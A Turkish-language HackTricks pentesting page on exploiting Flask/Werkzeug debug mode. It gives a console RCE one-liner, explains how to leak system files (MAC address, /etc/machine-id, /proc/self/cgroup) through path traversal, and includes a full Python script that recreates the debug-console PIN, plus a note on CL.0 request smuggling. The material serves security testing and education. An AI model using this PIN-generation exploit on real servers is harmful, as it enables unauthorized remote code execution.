Werkzeug / Flask Hata Ayıklama
Reading time: 6 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Konsol RCE
Eğer hata ayıklama aktifse, /console
adresine erişmeyi deneyebilir ve RCE elde edebilirsiniz.
__import__('os').popen('whoami').read();
Ayrıca internette şu gibi birkaç exploit veya metasploit'te bir tane var.
Pin Koruması - Yol Geçişi
Bazı durumlarda /console
uç noktası bir pin ile korunacaktır. Eğer bir dosya geçişi açığı varsa, o pini oluşturmak için gerekli tüm bilgileri sızdırabilirsiniz.
Werkzeug Konsol PIN Açığı
Bunu görmek için uygulamada bir hata sayfası zorlayın:
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
"console locked" senaryosuyla ilgili bir mesaj, Werkzeug'un hata ayıklama arayüzüne erişim sağlanmaya çalışıldığında karşılaşılır ve konsolu kilidini açmak için bir PIN gerekliliğini belirtir. Konsol PIN'ini istismar etmek için, Werkzeug’un hata ayıklama başlatma dosyası (__init__.py
) içindeki PIN oluşturma algoritmasını analiz etme önerisi yapılmaktadır. PIN oluşturma mekanizması, Werkzeug kaynak kodu deposu üzerinden incelenebilir, ancak potansiyel sürüm farklılıkları nedeniyle gerçek sunucu kodunun bir dosya gezinti açığı aracılığıyla temin edilmesi tavsiye edilmektedir.
Konsol PIN'ini istismar etmek için iki set değişken gereklidir: probably_public_bits
ve private_bits
:
probably_public_bits
username
: Flask oturumunu başlatan kullanıcıyı ifade eder.modname
: Genellikleflask.app
olarak belirlenir.getattr(app, '__name__', getattr(app.__class__, '__name__'))
: Genellikle Flask olarak çözülür.getattr(mod, '__file__', None)
: Flask dizinindekiapp.py
'ye giden tam yolu temsil eder (örneğin,/usr/local/lib/python3.5/dist-packages/flask/app.py
). Eğerapp.py
geçerli değilse,app.pyc
denemek gerekir.
private_bits
-
uuid.getnode()
: Mevcut makinenin MAC adresini alır,str(uuid.getnode())
bunu ondalık formata çevirir. -
Sunucunun MAC adresini belirlemek için, uygulamanın kullandığı aktif ağ arayüzünü tanımlamak gerekir (örneğin,
ens3
). Belirsizlik durumunda,/proc/net/arp
sızdırarak cihaz kimliğini bulmak, ardından/sys/class/net/<device id>/address
'den MAC adresini çıkarmak gerekir. -
Onaltılık bir MAC adresinin ondalık formata dönüştürülmesi aşağıda gösterildiği gibi yapılabilir:
# Örnek MAC adresi: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
get_machine_id()
:/etc/machine-id
veya/proc/sys/kernel/random/boot_id
'den verileri, son eğik çizgiden (/
) sonra/proc/self/cgroup
'un ilk satırıyla birleştirir.
`get_machine_id()` için Kod
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
Gerekli tüm veriler toplandıktan sonra, exploit script'i Werkzeug konsol PIN'ini oluşturmak için çalıştırılabilir:
Gerekli tüm veriler toplandıktan sonra, exploit script'i Werkzeug konsol PIN'ini oluşturmak için çalıştırılabilir. Script, oluşturulan probably_public_bits
ve private_bits
'i kullanarak bir hash oluşturur, bu hash daha sonra nihai PIN'i üretmek için ek işleme tabi tutulur. Aşağıda bu süreci gerçekleştiren Python kodu bulunmaktadır:
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Bu script, birleştirilmiş bitleri hashleyerek, belirli tuzlar (cookiesalt
ve pinsalt
) ekleyerek ve çıktıyı formatlayarak PIN üretir. probably_public_bits
ve private_bits
için gerçek değerlerin hedef sistemden doğru bir şekilde elde edilmesi gerektiğini unutmamak önemlidir, böylece üretilen PIN, Werkzeug konsolunun beklediği ile eşleşir.
tip
Eğer eski bir sürüm Werkzeug kullanıyorsanız, hashing algoritmasını md5 olarak değiştirmeyi deneyin.
Werkzeug Unicode karakterleri
bu sorun'da gözlemlendiği gibi, Werkzeug başlıklarda Unicode karakterleri ile bir isteği kapatmaz. Ve bu yazıda açıklandığı gibi, bu bir CL.0 Request Smuggling zafiyetine neden olabilir.
Bunun nedeni, Werkzeug'te bazı Unicode karakterlerin gönderilmesinin mümkün olması ve bunun sunucunun çökmesine neden olmasıdır. Ancak, HTTP bağlantısı Connection: keep-alive
başlığı ile oluşturulmuşsa, isteğin gövdesi okunmayacak ve bağlantı açık kalacaktır, bu nedenle isteğin gövdesi bir sonraki HTTP isteği olarak işlenecektir.
Otomatik Sömürü
Referanslar
- https://www.daehee.com/werkzeug-console-pin-exploit/
- https://ctftime.org/writeup/17955
- https://github.com/pallets/werkzeug/issues/2833
- https://mizu.re/post/twisty-python
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.